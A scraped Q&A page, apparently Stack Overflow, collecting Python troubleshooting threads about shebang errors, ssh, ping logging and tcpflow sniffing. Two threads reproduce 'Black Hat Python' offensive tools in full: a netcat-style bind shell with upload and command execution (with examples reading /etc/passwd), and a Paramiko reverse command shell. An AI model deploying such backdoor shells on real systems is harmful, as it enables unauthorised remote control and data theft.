Python error: command not found - python

I recently bought a book to start playing around a bit with python and one of the scripts is the following:
#!/usr/bin/python2.7
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# this runs a command and returns the output
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
# this handles incoming client connections
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# we have a valid command so execute it and send back the results
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
# this is for incoming connections
def server_loop():
global target
global port
# if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
# if we don't listen we are a client....make it so.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target,port))
# if we detect input from stdin send it
# if not we are going to wait for the user to punch some in
if len(buffer):
client.send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
# just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting."
# teardown the connection
client.close()
def usage():
print "Netcat Replacement"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
I have debugged the script and try to run it in terminal but it looks like it hangs for a while and then I get the following error:
./bhnet.py: line 10: listen: command not found
./bhnet.py: line 11: =: command not found
./bhnet.py: line 12: upload: command not found
./bhnet.py: line 13: execute: command not found
./bhnet.py: line 14: target: command not found
./bhnet.py: line 15: upload_destination: command not found
./bhnet.py: line 16: port: command not found
./bhnet.py: line 19: syntax error near unexpected token `('
./bhnet.py: line 19: `def run_command(command):'
I checked the code with the one in the book and even have the actual code so I tried that as well but still nothing. I wish I could be more specific than that. Any suggestions would be appreciated. Thanks.

This isn't really in my expertise, but I'll try to shed some light on it.
Background information
When you run a script in a Unix-like system, typically you can call the interpreter program with the path to the script passed as an argument, e.g. python bhnet.py.
However, if you have things configured appropriately, you can also run your script as a standalone executable: ./bhnet.py. In order to do this, you generally need to:
Make sure execute permissions are turned on (chmod +x or equivalent).
Start the first line in the script with the symbols #! (called a "shebang") followed by the path to the interpreter to use.
Your case
The first line in your file is #!/usr/bin/python2.7, which seems plausible enough. What should happen when you run ./bhnet.py is that the interpreter at /usr/bin/python2.7 should get used to run your script. As long as /usr/bin/python2.7 is a Python interpreter, it should be ok...
However, what appears to be happening is that whatever interpreter is being called when you run ./bhnet.py is trying to run the script as a shell script rather than as Python. Perhaps whatever is actually at the path /usr/bin/python2.7 is not Python for some reason. Or perhaps your file doesn't actually start with what you pasted in the question, but maybe you accidentally overwrote the first line in your file with a different interpreter directive, like #!/bin/sh? There are probably other things that could cause this, too.
In any case, whatever is your default python seems to be working fine. (To see what your default points to, you can run which python.)
Recommendation
If you want to run the file as a standalone executable (i.e. ./bhnet.py), try changing the first line to:
#!/usr/bin/env python
This seems to be the recommended shebang line for Python, and it should work fine in your case. But I'd still be interested to know what happened to your /usr/bin/python2.7.

If the file was created on Windows, try running dos2unix before running on a UNIX-like system.

Related

Python script to check openvpn server is active or dead

I am looking at the python program which will check if list of remote openvpn servers are really working!!
I tried the following code but no luck. after connecting the vpn server the control is not passing back to execute next line unless pressed ctrl+c. How to check below:
If the openvpn is connecting server then print active message
Else print not active message.
The whole thing is in a loop and I want to run in a virtual environment.
Code is given below
path = tempfile.mkstemp()
print('Path:',path)
f = open(path, 'w')
f.write(base64.b64decode(winner[-1]).decode('utf-8'))
f.close()
x = subprocess.Popen(['sudo', 'openvpn', '--config', path])
print("\n\n Pid:",x.pid)
try:
print('############ inside try block############', x.pid)
while True:
print('############ inside while try block############', x.pid)
time.sleep(60)
if (x.wait() == 0):
# died_serv_list.append(winner)
print('\nDead server found....Exiting.....\n')
return
print('############terminating the current prosses############', x.pid)
x.send_signal(9)
# y = subprocess.Popen(['sudo', 'kill', '-9', x.pid])
break
# termination with Ctrl+C
except: #here issue only works with ctrl+C
try:
print('\n\n\n Nice server found...\n\n')
good_serv_list.append(winner)
print('we are inside exept.')
x.kill()
except:
pass
while x.poll() != 0:
print('\n\n Donot know what the hell is this')
time.sleep(1)
print('\nVPN terminated')

How to log results of pings?

I have a program running a ping. On my terminal screen i get this:
--- google.com ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 47.963/47.963/47.963/0.000 ms
Connection successful
But on my console i am only getting:
Connection successful
I want my console to show the same ping statistics as my terminal does. I will eventually want to log the ping results onto a txt or csv file, but that will be down the road.
import platform # For getting the operating system name
import subprocess # For executing a shell command
import time
import logging
host = "google.com"
def ping(host):
param = '-n' if platform.system().lower()=='windows' else '-c'
command = ['ping', param, '1', host]
return subprocess.call(command) == 0
while ping(host) == False:
print("There is no network connection")
time.sleep(1)
while ping(host) == True:
print("Connection successful")
time.sleep(1)
How do i get my Terminal Ping statistics to display on my console output?
To log the full output of the command, use Popen.
import platform # For getting the operating system name
import subprocess # For executing a shell command
import time
host = "google.com"
def ping(host):
param = '-n' if platform.system().lower()=='windows' else '-c'
command = ['ping', param, '1', host]
return subprocess.Popen(command, stdout=subprocess.PIPE).stdout.read()
while True:
output = ping(host)
print(output)
time.sleep(1)
I tested on Ubuntu with Python 3.6.7
I re-edited for Linux to ping 3 times and output to a file. This will effectively tell you if the host is up or down. It should still print to terminal, you can use os.system('pause') though I don't remember if that works in Linux.
import os
def main():
f=['8.8.8.8','yahoo.com']
for ips in f:
response = os.system("ping -c3" + ips)
if response == 0:
writeToOut(ips,"host is up")
else:
writeToOut(ips, "host is down")
def writeToOut(ip,result):
f=open('C:/Users/user/Desktop/hostsResults.txt','a')
ip = ip.rstrip()
f.write(ip + "," + result + '\n')
f.close()
main()

Python Scripts Run but don't do anything

Lately, I've developed an interest in penetration testing. I decided to try and learn how to write some scripts before investing in a full blown course. Currently I'm working my way through the book Black Hat Python book by Justin Seitz.
I'm in the section on SSH using Paramiko and two of the scripts have me stumped. They both run without errors but nothing gets shown on screen. In Windows and Linux the terminal (or DOS prompt) just returns immediately to the prompt. I have gone over the scripts several times and can't find the issue. The code for both scripts is shown in full below.
Script #1 bh_sshserver.py (The purpose of this script is to create an ssh server)
import socket
import paramiko
import threading
import sys
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return
paramiko.OPEN_SUCCEEDED
return
paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == '12345'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = sys.argv[2]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection...'
client, addr = sock.accept()
except Exception, e:
print ' [-] Listen Failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send ('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
Script #2 bh_sshRcmd.py (The purpose of this script is to create a command receiver for the ssh server to connect to)
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
Both of these scripts were written in Windows and so do not need the shebang statement (ie #!/usr/bin/python) at the top. I copied them over to a Linux VM and added that statement, plus made them executable using chmod +x. Still, nothing shows on screen when the scripts run. The IP addresses are from a VMware virtual network which has never given me problems before.
It is likely that there is an error connecting to your server. Try adding more print statements to cover the conditionals like so:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
As for bh_sshserver.py, if you ran python bh_sshserver.py, nothing would happen. This is because you don't have any statements in the main scope. If you wanted to start the server you could add code to the bottom of the script with no indentation.
You should call your server from the terminal using command-line arguments like this:
python scriptname.py server_adress port
Change indentation on the last line of client script - it should call your function
Server adresses in the terminal and in the client function should be the same
That's pretty much all
I can provide you with these two scripts that are working for me, if you need it.
Thanks to everyone who replied. In the end I found some Paramiko demo files from github that included a sample SSH server. It turns out the script is much more complicated than the author makes it out to be. I was missing a ton of code, which is why the server was not working. As soon as I made my script a rough match to the sample it worked perfectly so did my client.
In case anyone comes across a similar problem, here is the link to the Paramiko demo files:
https://github.com/paramiko/paramiko/tree/master/demos

Reading from pipe in python is imposiible

Hello I have the following code in python 2.6:
command = "tcpflow -c -i any port 5559"
port_sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, bufsize=1, shell=True)
while True:
line = port_sniffer.stdout.readline()
#do some stuff with line
The purpose of this code is to sniff the traffic between two processes (A and B) that communicate on port 5559.
Now let me describe the different scenarios I am having:
1) Code above is not running:
A and B are communicating and i can see it clearly using logs and the linux command netstat -napl | grep 5559 shows that the processes are communicating on the desired port.
2) Code above is not running and I am sniffing by running tcpflow -c -i any port 5559 directly from shell:
I can see the communication on console clearly :-).
3) Code above is running: Proccesses can't communicate. netstat -napl | grep 5559 prints nothing and logs give out errors!!!
4) Code above is running in debug mode: I can't seem to be able to step after the line line = port_sniffer.stdout.readline()
I tried using an iterator instead of a while loop (not that it should matter but still I am pointing it out). I also tried different values for bufsize (none, 1, and 8).
Please help!!
So after a quick read through the docs I found these two sentences:
On Unix, if args is a string, the string is interpreted as the name or
path of the program to execute
and
The shell argument (which defaults to False) specifies whether to use
the shell as the program to execute. If shell is True, it is
recommended to pass args as a string rather than as a sequence.
Based on this, I would recommend recreating your command as a list:
command = ["tcpflow -c", "-i any port 5559"] #I don't know linux, so double check this line!!
The general idea is this (also from the docs):
If args is a sequence, the first item specifies the command string,
and any additional items will be treated as additional arguments to
the shell itself. That is to say, Popen does the equivalent of:
Popen(['/bin/sh', '-c', args[0], args[1], ...])
Additionally, it seems that to read from your process, you should use communicate(). So
while True:
line = port_sniffer.stdout.readline()
would become
while True:
line = port_sniffer.communicate()[0]
But keep in mind this note from the docs:
Note The data read is buffered in memory, so do not use this method if the data size is large or unlimited.
If I had to guess, I think the problem that you're having is that you aren't running your program as root. TCPFlow needs to be run as a privelaged user if you want to be able to sniff other people's traffic (otherwise that'd be a serious security vulnerability). I wrote the following programs and they worked just fine for your scenario
server.py
#!/usr/bin/python
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.bind((host,port))
s.listen(5)
while True:
c, addr = s.accept()
print 'Connection from', addr
c.send('Test string 1234')
c.recv(1024)
while x != 'q':
print "Received " + x
c.send('Blah')
x = c.recv(1024)
print "Closing connection"
c.close()
client.py
#!/usr/bin/python
import socket, sys
from time import sleep
from datetime import datetime
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host,port))
c = sys.stdin.read(1) # Type a char to send to initate the sending loop
while True:
s.send(str(datetime.now()))
s.sleep(3)
msg = s.recv(1024)
flow.py
#!/usr/bin/python
import subprocess
command = 'tcpflow -c -i any port 12345'
sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
while True:
print sniffer.stdout.readline()

how to give subprocess a password and get stdout at the same time

I'm trying to check for the existence of an executable on a remote machine, then run said executable. To do so I'm using subprocess to run ssh <host> ls <file>, and if that's successful, run ssh <host> <file>. ssh asks for a password, of course, and I'd like to provide that automatically. Also, I'd like to get the returncode from ls, and stdout and stderr from running the command.
So I know the communicate() method is needed, to avoid deadlocks, but I can't get the password to be recognized by Popen(stdin). Also I'm using Python 2.4.3, and stuck on that version. Here's the code I've got so far:
import os
import subprocess as sb
def WallHost(args):
#passwd = getpass.getpass()
passwd = "password"
for host in args:
# ssh to the machine and verify that the script is in /usr/bin
sshLsResult = sb.Popen(["ssh", host, "ls", "/usr/bin/wall"], stdin=sb.PIPE, stderr=sb.PIPE, stdout=sb.PIPE)
(sshLsStdout, sshLsStderr) = sshLsResult.communicate(input=passwd)
sshResult = sshLsResult.returncode
if sshResult != 0:
raise "wall is not installed on %s. Please check." % host
else:
sshWallResult = sb.Popen(["ssh", host, "/usr/bin/wall", "hello world"], stdin=sb.PIPE, stderr=sb.PIPE, stdout=sb.PIPE)
(sshWallStdout, sshWallStderr) = sshWallResult.communicate(input=passwd)
print "sshStdout for wall is \n%s\nsshStderr is \n\n" % (sshWallStdout, sshWallStderr)
args = ["127.0.0.1", "192.168.0.1", "10.10.265.1"]
WallHost(args)
Any help getting the process to accept that password is appreciated. Or if you've got a better way to check for the executable and then run it on a remote host. ;)
thx
anthony
How about using authorized_keys. Then, you don't need to input password.
You can also go hard way (only work in Linux):
import os
import pty
def wall(host, pw):
pid, fd = pty.fork()
if pid == 0: # Child
os.execvp('ssh', ['ssh', host, 'ls', '/usr/bin/wall'])
os._exit(1) # fail to execv
# read '..... password:', write password
os.read(fd, 1024)
os.write(fd, pw + '\n')
result = []
while True:
try:
data = os.read(fd, 1024)
except OSError:
break
if not data:
break
result.append(data)
pid, status = os.waitpid(pid, 0)
return status, ''.join(result)
status, output = wall('localhost', "secret")
print status
print output
http://docs.python.org/2/library/pty.html

Categories

Resources